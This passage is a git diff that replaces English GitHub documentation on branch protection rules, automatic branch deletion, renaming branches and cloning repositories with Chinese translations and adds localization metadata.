'147882455' --- -Anyone with admin permissions to a repository can enable or disable the automatic deletion of branches. +对仓库具有管理员权限的任何人都可启用或禁用分支的自动删除。 -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -3. Under {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}"Pull Requests"{% else %}"Merge button"{% endif %}, select or unselect **Automatically delete head branches**. - ![Checkbox to enable or disable automatic deletion of branches](/assets/images/help/repository/automatically-delete-branches.png) +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} +3. 在 {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-6069 %}“拉取请求”{% else %}“合并按钮”{% endif %}下,选择或取消选择“自动删除主分支”。 + ![启用或禁用自动删除分支的复选框](/assets/images/help/repository/automatically-delete-branches.png) -## Further reading -- "[Merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)" -- "[Creating and deleting branches within your repository](/articles/creating-and-deleting-branches-within-your-repository)" +## 延伸阅读 +- [合并拉取请求](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request) +- [在存储库中创建和删除分支](/articles/creating-and-deleting-branches-within-your-repository) diff --git a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md index bef4499ff6..1e4a1294c4 100644 --- a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md +++ b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md @@ -1,6 +1,6 @@ --- -title: Managing a branch protection rule -intro: 'You can create a branch protection rule to enforce certain workflows for one or more branches, such as requiring an approving review or passing status checks for all pull requests merged into the protected branch.' +title: 管理分支保护规则 +intro: 可创建分支保护规则,为一个或多个分支强制实施某些工作流,例如要求进行审批评审或通过状态检查来确保所有拉取请求都已合并到受保护的分支的。 product: '{% data reusables.gated-features.protected-branches %}' redirect_from: - /articles/configuring-protected-branches @@ -27,127 +27,102 @@ permissions: People with admin permissions to a repository can manage branch pro topics: - Repositories shortTitle: Branch protection rule +ms.openlocfilehash: aed3ab7599d8c74c16d95e4667e94aa3264c9491 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147614173' --- -## About branch protection rules +## 关于分支保护规则 {% data reusables.repositories.branch-rules-example %} -You can create a rule for all current and future branches in your repository with the wildcard syntax `*`. Because {% data variables.product.company_short %} uses the `File::FNM_PATHNAME` flag for the `File.fnmatch` syntax, the wildcard does not match directory separators (`/`). For example, `qa/*` will match all branches beginning with `qa/` and containing a single slash. You can include multiple slashes with `qa/**/*`, and you can extend the `qa` string with `qa**/**/*` to make the rule more inclusive. For more information about syntax options for branch rules, see the [fnmatch documentation](https://ruby-doc.org/core-2.5.1/File.html#method-c-fnmatch). +可以使用通配符语法 `*` 为存储库中所有当前和未来的分支创建规则。 由于 {% data variables.product.company_short %} 对 `File.fnmatch` 语法使用 `File::FNM_PATHNAME` 标志,因此通配符与目录分隔符 (`/`) 不匹配。 例如,`qa/*` 将匹配所有以 `qa/` 开头并包含单个斜杠的分支。 可以用 `qa/**/*` 包含多个斜杠,也可以用 `qa**/**/*` 扩展 `qa` 字符串,以使规则更具包容性。 有关分支规则语法选项的详细信息,请参阅 [fnmatch 文档](https://ruby-doc.org/core-2.5.1/File.html#method-c-fnmatch)。 -If a repository has multiple protected branch rules that affect the same branches, the rules that include a specific branch name have the highest priority. If there is more than one protected branch rule that references the same specific branch name, then the branch rule created first will have higher priority. +如果仓库有多个影响相同分支的受保护分支规则,则包含特定分支名称的规则具有最高优先级。 如果有多个受保护分支规则引用相同的特定规则名称,则最先创建的分支规则优先级更高。 -Protected branch rules that mention a special character, such as `*`, `?`, or `]`, are applied in the order they were created, so older rules with these characters have a higher priority. +提及特殊字符的受保护分支规则,如 `*`、`?` 或 `]`,将按其创建的顺序应用,因此含有这些字符的规则创建时间越早,优先级越高。 -To create an exception to an existing branch rule, you can create a new branch protection rule that is higher priority, such as a branch rule for a specific branch name. +要创建对现有分支规则的例外,您可以创建优先级更高的新分支保护规则,例如针对特定分支名称的分支规则。 -For more information about each of the available branch protection settings, see "[About protected branches](/github/administering-a-repository/about-protected-branches)." +有关每个可用分支保护设置的详细信息,请参阅“[关于受保护的分支](/github/administering-a-repository/about-protected-branches)”。 -## Creating a branch protection rule +## 创建分支保护规则 -When you create a branch rule, the branch you specify doesn't have to exist yet in the repository. +创建分支规则时,指定的分支不必是仓库中现有的分支。 -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.repository-branches %} -{% data reusables.repositories.add-branch-protection-rules %} -{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} -1. Optionally, enable required pull requests. - - Under "Protect matching branches", select **Require a pull request before merging**. - ![Pull request review restriction checkbox](/assets/images/help/repository/PR-reviews-required-updated.png) - - Optionally, to require approvals before a pull request can be merged, select **Require approvals**, click the **Required number of approvals before merging** drop-down menu, then select the number of approving reviews you would like to require on the branch. - ![Drop-down menu to select number of required review approvals](/assets/images/help/repository/number-of-required-review-approvals-updated.png) -{% else %} -1. Optionally, enable required pull request reviews. - - Under "Protect matching branches", select **Require pull request reviews before merging**. - ![Pull request review restriction checkbox](/assets/images/help/repository/PR-reviews-required.png) - - Click the **Required approving reviews** drop-down menu, then select the number of approving reviews you would like to require on the branch. - ![Drop-down menu to select number of required review approvals](/assets/images/help/repository/number-of-required-review-approvals.png) -{% endif %} - - Optionally, to dismiss a pull request approval review when a code-modifying commit is pushed to the branch, select **Dismiss stale pull request approvals when new commits are pushed**. - ![Dismiss stale pull request approvals when new commits are pushed checkbox](/assets/images/help/repository/PR-reviews-required-dismiss-stale.png) - - Optionally, to require review from a code owner when the pull request affects code that has a designated owner, select **Require review from Code Owners**. For more information, see "[About code owners](/github/creating-cloning-and-archiving-repositories/about-code-owners)." - ![Require review from code owners](/assets/images/help/repository/PR-review-required-code-owner.png) -{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} - - Optionally, to allow specific actors to push code to the branch without creating pull requests when they're required, select **Allow specified actors to bypass required pull requests**. Then, search for and select the actors who should be allowed to skip creating a pull request. - ![Allow specific actors to bypass pull request requirements checkbox]{% ifversion integration-branch-protection-exceptions %}(/assets/images/help/repository/PR-bypass-requirements-with-apps.png){% else %}(/assets/images/help/repository/PR-bypass-requirements.png){% endif %} -{% endif %} - - Optionally, if the repository is part of an organization, select **Restrict who can dismiss pull request reviews**. Then, search for and select the actors who are allowed to dismiss pull request reviews. For more information, see "[Dismissing a pull request review](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)." - ![Restrict who can dismiss pull request reviews checkbox]{% ifversion integration-branch-protection-exceptions %}(/assets/images/help/repository/PR-review-required-dismissals-with-apps.png){% else %}(/assets/images/help/repository/PR-review-required-dismissals.png){% endif %} -{% ifversion last-pusher-require-approval %} - - Optionally, to require someone other than the last person to push to a branch to approve a pull request prior to merging, select **Require approval from someone other than the last pusher**. For more information, see "[About protected branches](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#require-pull-request-reviews-before-merging)." - ![Require review from someone other than the last pusher](/assets/images/help/repository/last-pusher-review-required.png) -{% endif %} -1. Optionally, enable required status checks. For more information, see "[About status checks](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks)." - - Select **Require status checks to pass before merging**. - ![Required status checks option](/assets/images/help/repository/required-status-checks.png) - - Optionally, to ensure that pull requests are tested with the latest code on the protected branch, select **Require branches to be up to date before merging**. - ![Loose or strict required status checkbox](/assets/images/help/repository/protecting-branch-loose-status.png) - - Search for status checks, selecting the checks you want to require. - ![Search interface for available status checks, with list of required checks](/assets/images/help/repository/required-statuses-list.png) -1. Optionally, select **Require conversation resolution before merging**. - ![Require conversation resolution before merging option](/assets/images/help/repository/require-conversation-resolution.png) -1. Optionally, select **Require signed commits**. - ![Require signed commits option](/assets/images/help/repository/require-signed-commits.png) -1. Optionally, select **Require linear history**. - ![Required linear history option](/assets/images/help/repository/required-linear-history.png) -{%- ifversion fpt or ghec %} -1. Optionally, to merge pull requests using a merge queue, select **Require merge queue**. {% data reusables.pull_requests.merge-queue-references %} - ![Require merge queue option](/assets/images/help/repository/require-merge-queue.png) - {% tip %} +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.repository-branches %} {% data reusables.repositories.add-branch-protection-rules %} {% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5506 %} +1. (可选)启用所需的拉取请求。 + - 在“保护匹配分支”下,选择“合并前需要拉取请求”。 + ![拉取请求审阅限制复选框](/assets/images/help/repository/PR-reviews-required-updated.png) + - (可选)若需要在合并拉取请求之前审批,选择“需要审批”,单击“合并前所需的审批数”下拉菜单,然后选择希望分支上要求的审批审阅数 。 + ![用于选择必需审阅审批数量的下拉菜单](/assets/images/help/repository/number-of-required-review-approvals-updated.png) {% else %} +1. (可选)启用必需拉取请求审查。 + - 在“保护匹配分支”下,选择“合并前需要拉取请求审阅”。 + ![拉取请求审阅限制复选框](/assets/images/help/repository/PR-reviews-required.png) + - 单击“必需的审批审阅”下拉菜单,然后选择分支上要求的审批审阅数。 + ![用于选择必需审阅审批数量的下拉菜单](/assets/images/help/repository/number-of-required-review-approvals.png) {% endif %} + - (可选)若要在将代码修改提交推送到分支时关闭拉取请求审批审阅,选择“推送新提交时关闭旧拉取请求审批”。 + ![“推送新提交时关闭旧拉取请求审批”复选框](/assets/images/help/repository/PR-reviews-required-dismiss-stale.png) + - (可选)若要在拉取请求影响具有指定所有者的代码时要求代码所有者审阅,请选择“要求代码所有者审阅”。 有关详细信息,请参阅“[关于代码所有者](/github/creating-cloning-and-archiving-repositories/about-code-owners)”。 + ![要求代码所有者审阅](/assets/images/help/repository/PR-review-required-code-owner.png) {% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5611 %} + - (可选)若要让特定参与者在需要时将代码推送到分支而不创建拉取请求,选择“允许指定参与者绕过所需的拉取请求”。 然后,搜索并选择应被允许跳过创建拉取请求的参与者。 + ![“允许特定参与者绕过拉取请求要求”复选框]{% ifversion integration-branch-protection-exceptions %}(/assets/images/help/repository/PR-bypass-requirements-with-apps.png){% else %}(/assets/images/help/repository/PR-bypass-requirements.png){% endif %} {% endif %} + - (可选)如果存储库是组织的一部分,选择“限制可以关闭拉取请求审阅的人员”。 然后,搜索并选择有权忽略拉取请求审查的参与者。 有关详细信息,请参阅“[关闭拉取请求审阅](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)”。 + ![“限制可以关闭拉取请求审查的人员”复选框]{% ifversion integration-branch-protection-exceptions %}(/assets/images/help/repository/PR-review-required-dismissals-with-apps.png){% else %}(/assets/images/help/repository/PR-review-required-dismissals.png){% endif %} +1. (可选)启用必需状态检查。 有关详细信息,请参阅“[关于状态检查](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks)”。 + - 选择“合并前需要通过状态检查”。 + ![必需状态检查选项](/assets/images/help/repository/required-status-checks.png) + - (可选)若要确保使用受保护分支上的最新代码测试拉取请求,选择“要求分支在合并前保持最新”。 + ![宽松或严格的必需状态复选框](/assets/images/help/repository/protecting-branch-loose-status.png) + - 搜索状态检查,选择您想要求的检查。 + ![可用状态检查的搜索界面,以及所需检查的列表](/assets/images/help/repository/required-statuses-list.png) +1. (可选)选择“合并前需要对话解决”。 + ![“合并前需要对话解决”选项](/assets/images/help/repository/require-conversation-resolution.png) +1. (可选)选择“需要签名提交”。 + ![需要签名提交选项](/assets/images/help/repository/require-signed-commits.png) +1. (可选)选择“需要线性历史记录”。 + ![需要线性历史记录选项](/assets/images/help/repository/required-linear-history.png) {%- ifversion fpt or ghec %} +1. (可选)若要使用合并队列合并拉取请求,选择“需要合并队列”。 {% data reusables.pull_requests.merge-queue-references %} ![需要合并队列选项](/assets/images/help/repository/require-merge-queue.png) {% tip %} - **Tip:** The pull request merge queue feature is currently in limited public beta and subject to change. Organizations owners can request early access to the beta by joining the [waitlist](https://github.com/features/merge-queue/signup). + **提示:** 拉取请求合并队列功能目前为有限的公开 beta 版本,可能会发生更改。 组织所有者可以通过加入[候补名单](https://github.com/features/merge-queue/signup)来申请提前访问 beta 版。 - {% endtip %} -{%- endif %} -{%- ifversion required-deployments %} -1. Optionally, to choose which environments the changes must be successfully deployed to before merging, select **Require deployments to succeed before merging**, then select the environments. - ![Require successful deployment option](/assets/images/help/repository/require-successful-deployment.png) -{%- endif %} -{% ifversion lock-branch %} -1. Optionally, select **Lock branch** to make branch read-only. -![Screenshot of the checkbox to lock a branch](/assets/images/help/repository/lock-branch.png) - - Optionally, to allow fork syncing, select **Allow fork syncing**. -![Screenshot of the checkbox to allow fork syncing](/assets/images/help/repository/lock-branch-forksync.png) -{%- endif %} -1. Optionally, select {% ifversion bypass-branch-protections %}**Do not allow bypassing the above settings**. -![Do not allow bypassing the above settings checkbox](/assets/images/help/repository/do-not-allow-bypassing-the-above-settings.png){% else %}**Apply the rules above to administrators**. -![Apply the rules above to administrators checkbox](/assets/images/help/repository/include-admins-protected-branches.png){% endif %} -1. Optionally,{% ifversion fpt or ghec %} if your repository is owned by an organization using {% data variables.product.prodname_team %} or {% data variables.product.prodname_ghe_cloud %},{% endif %} enable branch restrictions. - - Select **Restrict who can push to matching branches**. - ![Branch restriction checkbox](/assets/images/help/repository/restrict-branch.png){% ifversion restrict-pushes-create-branch %} - - Optionally, to also restrict the creation of matching branches, select **Restrict pushes that create matching branches**. - ![Branch creation restriction checkbox](/assets/images/help/repository/restrict-branch-create.png){% endif %} - - Search for and select the people, teams, or apps who will have permission to push to the protected branch or create a matching branch. - ![Branch restriction search]{% ifversion restrict-pushes-create-branch %}(/assets/images/help/repository/restrict-branch-search-with-create.png){% else %}(/assets/images/help/repository/restrict-branch-search.png){% endif %} -1. Optionally, under "Rules applied to everyone including administrators", select **Allow force pushes**. - ![Allow force pushes option](/assets/images/help/repository/allow-force-pushes.png) -{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} - Then, choose who can force push to the branch. - - Select **Everyone** to allow everyone with at least write permissions to the repository to force push to the branch, including those with admin permissions. - - Select **Specify who can force push** to allow only specific actors to force push to the branch. Then, search for and select those actors. - ![Screenshot of the options to specify who can force push]{% ifversion integration-branch-protection-exceptions %}(/assets/images/help/repository/allow-force-pushes-specify-who-with-apps.png){% else %}(/assets/images/help/repository/allow-force-pushes-specify-who.png){% endif %} -{% endif %} + {% endtip %} {%- endif %} {%- ifversion required-deployments %} +1. (可选)若要选择在合并之前必须将更改成功部署到哪些环境,选择“需要在合并之前部署成功”,然后选择环境。 + ![需要成功部署选项](/assets/images/help/repository/require-successful-deployment.png) {%- endif %} +1. (可选)选择“{% ifversion bypass-branch-protections %}不允许绕过上述设置”。 +![“不允许绕过上述设置”复选框](/assets/images/help/repository/do-not-allow-bypassing-the-above-settings.png){% else %}**会将上述规则应用于管理员**。 +![“将上述规则应用于管理员”复选框](/assets/images/help/repository/include-admins-protected-branches.png){% endif %} +1. (可选){% ifversion fpt or ghec %}如果你的存储库为使用 {% data variables.product.prodname_team %} 或 {% data variables.product.prodname_ghe_cloud %} 的组织所有,{% endif %}请启用分支限制。 + - 选择“限制可推送到匹配分支的人员”。 + ![“分支限制”复选框](/assets/images/help/repository/restrict-branch.png){% ifversion restrict-pushes-create-branch %} + - (可选)若要限制匹配分支的创建,请选择“限制创建匹配分支的推送”。 + ![“分支创建限制”复选框](/assets/images/help/repository/restrict-branch-create.png){% endif %} + - 搜索并选择有权限推送到受保护分支或创建匹配分支的人员、团队或应用。 + ![分支限制搜索]{% ifversion restrict-pushes-create-branch %}(/assets/images/help/repository/restrict-branch-search-with-create.png){% else %}(/assets/images/help/repository/restrict-branch-search.png){% endif %} +1. (可选)在“适用于包括管理员在内的所有人的规则”下,选择“允许强制推送”。 + ![允许强制推送选项](/assets/images/help/repository/allow-force-pushes.png) {% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5624 %} 然后,选择可以强制推送到分支的人员。 + - 选择“所有人”,允许至少具有存储库写入权限的人强制推送到分支,包括具有管理员权限的人员。 + - 选择“指定可以强制推送的人员”,仅允许特定参与者强制推送到分支。 然后,搜索并选择这些参与者。 + ![用于指定可以强制推送的人员的选项的屏幕截图]{% ifversion integration-branch-protection-exceptions %}(/assets/images/help/repository/allow-force-pushes-specify-who-with-apps.png){% else %}(/assets/images/help/repository/allow-force-pushes-specify-who.png){% endif %} {% endif %} - For more information about force pushes, see "[Allow force pushes](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches/#allow-force-pushes)." -1. Optionally, select **Allow deletions**. - ![Allow branch deletions option](/assets/images/help/repository/allow-branch-deletions.png) -1. Click **Create**. + 有关强制推送的详细信息,请参阅“[允许强制推送](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches/#allow-force-pushes)”。 +1. (可选)选择“允许删除”。 + ![允许分支删除选项](/assets/images/help/repository/allow-branch-deletions.png) +1. 单击“创建”。 -## Editing a branch protection rule +## 编辑分支保护规则 -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.repository-branches %} -1. To the right of the branch protection rule you want to edit, click **Edit**. - ![Edit button](/assets/images/help/repository/edit-branch-protection-rule.png) -1. Make your desired changes to the branch protection rule. -1. Click **Save changes**. - ![Save changes button](/assets/images/help/repository/save-branch-protection-rule.png) +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.repository-branches %} +1. 在要编辑的分支保护规则的右侧,单击“编辑”。 + ![“编辑”按钮](/assets/images/help/repository/edit-branch-protection-rule.png) +1. 对分支保护规则进行所需的更改。 +1. 单击“保存更改”。 + ![“保存更改”按钮](/assets/images/help/repository/save-branch-protection-rule.png) -## Deleting a branch protection rule +## 删除分支保护规则 -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.repository-branches %} -1. To the right of the branch protection rule you want to delete, click **Delete**. - ![Delete button](/assets/images/help/repository/delete-branch-protection-rule.png) +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.repository-branches %} +1. 在要删除的分支保护规则的右侧,单击“删除”。 + ![“删除”按钮](/assets/images/help/repository/delete-branch-protection-rule.png) diff --git a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md index 16551aab62..8a9674eff8 100644 --- a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md +++ b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md @@ -1,6 +1,6 @@ --- -title: Renaming a branch -intro: You can change the name of a branch in a repository. +title: 重命名分支 +intro: 您可以更改仓库中分支的名称。 permissions: 'People with write permissions to a repository can rename a branch in the repository unless it is the [default branch](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches#about-the-default-branch){% ifversion fpt or ghec or ghes > 3.3 %} or a [protected branch](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches){% endif %}. People with admin permissions can rename the default branch{% ifversion fpt or ghec or ghes > 3.3 %} and protected branches{% endif %}.' versions: fpt: '*' @@ -12,42 +12,47 @@ topics: redirect_from: - /github/administering-a-repository/renaming-a-branch - /github/administering-a-repository/managing-branches-in-your-repository/renaming-a-branch +ms.openlocfilehash: 6e30c7c2615f8b3dc21075e24298796febbce314 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145129389' --- -## About renaming branches +## 关于重命名分支 -You can rename a branch in a repository on {% data variables.location.product_location %}. For more information about branches, see "[About branches](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches))." +您可以重命名 {% data variables.product.product_location %} 上仓库中的分支。 有关分支的详细信息,请参阅“[关于分支](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches)”。 -When you rename a branch on {% data variables.location.product_location %}, any URLs that contain the old branch name are automatically redirected to the equivalent URL for the renamed branch. Branch protection policies are also updated, as well as the base branch for open pull requests (including those for forks) and draft releases. After the rename is complete, {% data variables.product.prodname_dotcom %} provides instructions on the repository's home page directing contributors to update their local Git environments. +当您在 {% data variables.product.product_location %}上重命名分支时,任何包含旧分支名称的网址都会自动重定向到重命名分支的等效 URL。 还更新了分支保护政策以及打开的拉取请求(包括复刻的拉取请求)的基础分支和草稿版本。 重命名完成后, {% data variables.product.prodname_dotcom %} 在仓库主页上提供说明,指示贡献者更新他们的本地 Git 环境。 -Although file URLs are automatically redirected, raw file URLs are not redirected. Also, {% data variables.product.prodname_dotcom %} does not perform any redirects if users perform a `git pull` for the previous branch name. +虽然文件 URL 会自动重定向,但原始文件 URL 未被重定向。 此外,如果用户对前一个分支名称执行 `git pull`,则 {% data variables.product.prodname_dotcom %} 不会执行任何重定向。 -{% data variables.product.prodname_actions %} workflows do not follow renames, so if your repository publishes an action, anyone using that action with `@{old-branch-name}` will break. You should consider adding a new branch with the original content plus an additional commit reporting that the branch name is deprecated and suggesting that users migrate to the new branch name. +{% data variables.product.prodname_actions %} 工作流不遵循重命名,因此,如果存储库发布了一个操作,任何使用 `@{old-branch-name}` 的操作都将中断。 您应该考虑添加带有原始内容的新分支,外加一个额外的提交报告,说明分支名称已弃用,并建议用户迁移到新的分支名称。 -## Renaming a branch +## 重命名分支 -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.navigate-to-branches %} -1. In the list of branches, to the right of the branch you want to rename, click {% octicon "pencil" aria-label="The edit icon" %}. - ![Pencil icon to the right of branch you want to rename](/assets/images/help/branch/branch-rename-edit.png) -1. Type a new name for the branch. - ![Text field for typing new branch name](/assets/images/help/branch/branch-rename-type.png) -1. Review the information about local environments, then click **Rename branch**. - ![Local environment information and "Rename branch" button](/assets/images/help/branch/branch-rename-rename.png) +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.navigate-to-branches %} +1. 在分支列表中,在要重命名的分支的右侧,单击 {% octicon "pencil" aria-label="The edit icon" %}。 + ![要重命名的分支右侧的铅笔图标](/assets/images/help/branch/branch-rename-edit.png) +1. 为分支输入新名称。 + ![用于键入新分支名称的文本字段](/assets/images/help/branch/branch-rename-type.png) +1. 查看有关本地环境的信息,然后单击“重命名分支”。 + ![本地环境信息和“重命名分支”按钮](/assets/images/help/branch/branch-rename-rename.png) -## Updating a local clone after a branch name changes +## 在分支名称更改后更新本地克隆 -After you rename a branch in a repository on {% data variables.product.product_name %}, any collaborator with a local clone of the repository will need to update the clone. +在您重命名 {% data variables.product.product_name %} 仓库中的分支后,拥有该仓库本地克隆的所有协作者都需要更新克隆。 -From the local clone of the repository on a computer, run the following commands to update the name of the default branch. +从计算机上的仓库本地克隆中,运行以下命令以更新默认分支的名称。 ```shell -$ git branch -m OLD-BRANCH-NAME NEW-BRANCH-NAME +$ git branch -m OLD-BRANCH-NAME NEW-BRANCH-NAME $ git fetch origin -$ git branch -u origin/NEW-BRANCH-NAME NEW-BRANCH-NAME +$ git branch -u origin/NEW-BRANCH-NAME NEW-BRANCH-NAME $ git remote set-head origin -a ``` -Optionally, run the following command to remove tracking references to the old branch name. +(可选)运行下面的命令来删除对旧分支名称的跟踪引用。 ``` $ git remote prune origin ``` diff --git a/translations/zh-CN/content/repositories/creating-and-managing-repositories/cloning-a-repository.md b/translations/zh-CN/content/repositories/creating-and-managing-repositories/cloning-a-repository.md index 0fd1cafda3..ff8b5facfe 100644 --- a/translations/zh-CN/content/repositories/creating-and-managing-repositories/cloning-a-repository.md +++ b/translations/zh-CN/content/repositories/creating-and-managing-repositories/cloning-a-repository.md @@ -1,6 +1,6 @@ --- -title: Cloning a repository -intro: 'When you create a repository on {% data variables.location.product_location %}, it exists as a remote repository. You can clone your repository to create a local copy on your computer and sync between the two locations.' +title: 克隆仓库 +intro: '在 {% data variables.product.product_location %} 上创建仓库时,它将作为远程仓库存在。 您可以克隆仓库以在计算机上创建本地副本,并在两个位置之间进行同步。' redirect_from: - /articles/cloning-a-repository - /articles/cloning-a-repository-from-github @@ -13,25 +13,26 @@ versions: ghec: '*' topics: - Repositories +ms.openlocfilehash: fbe00d1568a2f746362d434e769aef2f3466bcf1 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145129386' --- -## About cloning a repository +## 关于克隆仓库 -You can clone a repository from {% data variables.location.product_location %} to your local computer to make it easier to fix merge conflicts, add or remove files, and push larger commits. When you clone a repository, you copy the repository from {% data variables.location.product_location %} to your local machine. +您可以将仓库从 {% data variables.product.product_location %} 克隆到本地计算机,以便修复合并冲突、添加或删除文件以及推送较大的提交。 克隆仓库时,将仓库从 {% data variables.product.product_location %} 复制到本地计算机。 -Cloning a repository pulls down a full copy of all the repository data that {% data variables.location.product_location %} has at that point in time, including all versions of every file and folder for the project. You can push your changes to the remote repository on {% data variables.location.product_location %}, or pull other people's changes from {% data variables.location.product_location %}. For more information, see "[Using Git](/github/getting-started-with-github/using-git)". +克隆仓库将提取 {% data variables.product.product_location %} 在当时拥有的所有仓库数据的完整副本,包括项目每个文件和文件夹的所有版本。 您可以将更改推送到 {% data variables.product.product_location %} 上的远程仓库,或者从 {% data variables.product.product_location %} 拉取其他人的更改。 有关详细信息,请参阅“[使用 Git](/github/getting-started-with-github/using-git)”。 -You can clone your existing repository or clone another person's existing repository to contribute to a project. +您可以克隆自己的现有仓库或克隆其他人的现有仓库以参与项目。 -## Cloning a repository +## 克隆仓库 {% webui %} -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.copy-clone-url %} -{% data reusables.command_line.open_the_multi_os_terminal %} -{% data reusables.command_line.change-current-directory-clone %} -{% data reusables.command_line.git-clone-url %} -{% data reusables.command_line.local-clone-created %} +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.copy-clone-url %} {% data reusables.command_line.open_the_multi_os_terminal %} {% data reusables.command_line.change-current-directory-clone %} {% data reusables.command_line.git-clone-url %} {% data reusables.command_line.local-clone-created %} {% endwebui %} @@ -39,59 +40,54 @@ You can clone your existing repository or clone another person's existing reposi {% data reusables.cli.cli-learn-more %} -To clone a repository locally, use the `repo clone` subcommand. Replace the `repository` parameter with the repository name. For example, `octo-org/octo-repo`, `monalisa/octo-repo`, or `octo-repo`. If the `OWNER/` portion of the `OWNER/REPO` repository argument is omitted, it defaults to the name of the authenticating user. +若要在本地克隆存储库,请使用 `repo clone` 子命令。 将 `repository` 参数替换为存储库名称。 例如,`octo-org/octo-repo`、`monalisa/octo-repo` 或 `octo-repo`。 如果省略 `OWNER/REPO` 存储库参数的 `OWNER/` 部分,则默认为验证用户的名称。 ```shell -gh repo clone REPOSITORY +gh repo clone repository ``` -You can also use the GitHub URL to clone a repository. +您也可以使用 GitHub URL来克隆仓库。 ```shell -gh repo clone https://github.com/PATH-TO/REPOSITORY +gh repo clone https://github.com/cli/cli ``` {% endcli %} {% desktop %} -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.open-with-github-desktop %} -4. Follow the prompts in {% data variables.product.prodname_desktop %} to complete the clone. +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.open-with-github-desktop %} +4. 按照 {% data variables.product.prodname_desktop %} 中的提示完成克隆。 -For more information, see "[Cloning a repository from {% data variables.product.prodname_dotcom %} to {% data variables.product.prodname_desktop %}](/desktop/guides/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop/)." +有关详细信息,请参阅“[将存储库从 {% data variables.product.prodname_dotcom %} 克隆到 {% data variables.product.prodname_desktop %}](/desktop/guides/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop/)”。 {% enddesktop %} -## Cloning an empty repository +## 克隆空仓库 -An empty repository contains no files. It's often made if you don't initialize the repository with a README when creating it. +空仓库不含任何文件。 如果创建仓库时不使用 README 初始化仓库,通常会出现空仓库。 {% data reusables.repositories.navigate-to-repo %} -2. To clone your repository using the command line using HTTPS, under "Quick setup", click {% octicon "clippy" aria-label="The clipboard icon" %}. To clone the repository using an SSH key, including a certificate issued by your organization's SSH certificate authority, click **SSH**, then click {% octicon "clippy" aria-label="The clipboard icon" %}. - ![Empty repository clone URL button](/assets/images/help/repository/empty-https-url-clone-button.png) +2. 要使用 HTTPS 通过命令行克隆存储库,请在“快速设置”下单击 {% octicon "clippy" aria-label="The clipboard icon" %}。 要使用 SSH 密钥克隆存储库,包括组织的 SSH 证书颁发机构颁发的证书,请单击“SSH”,然后单击 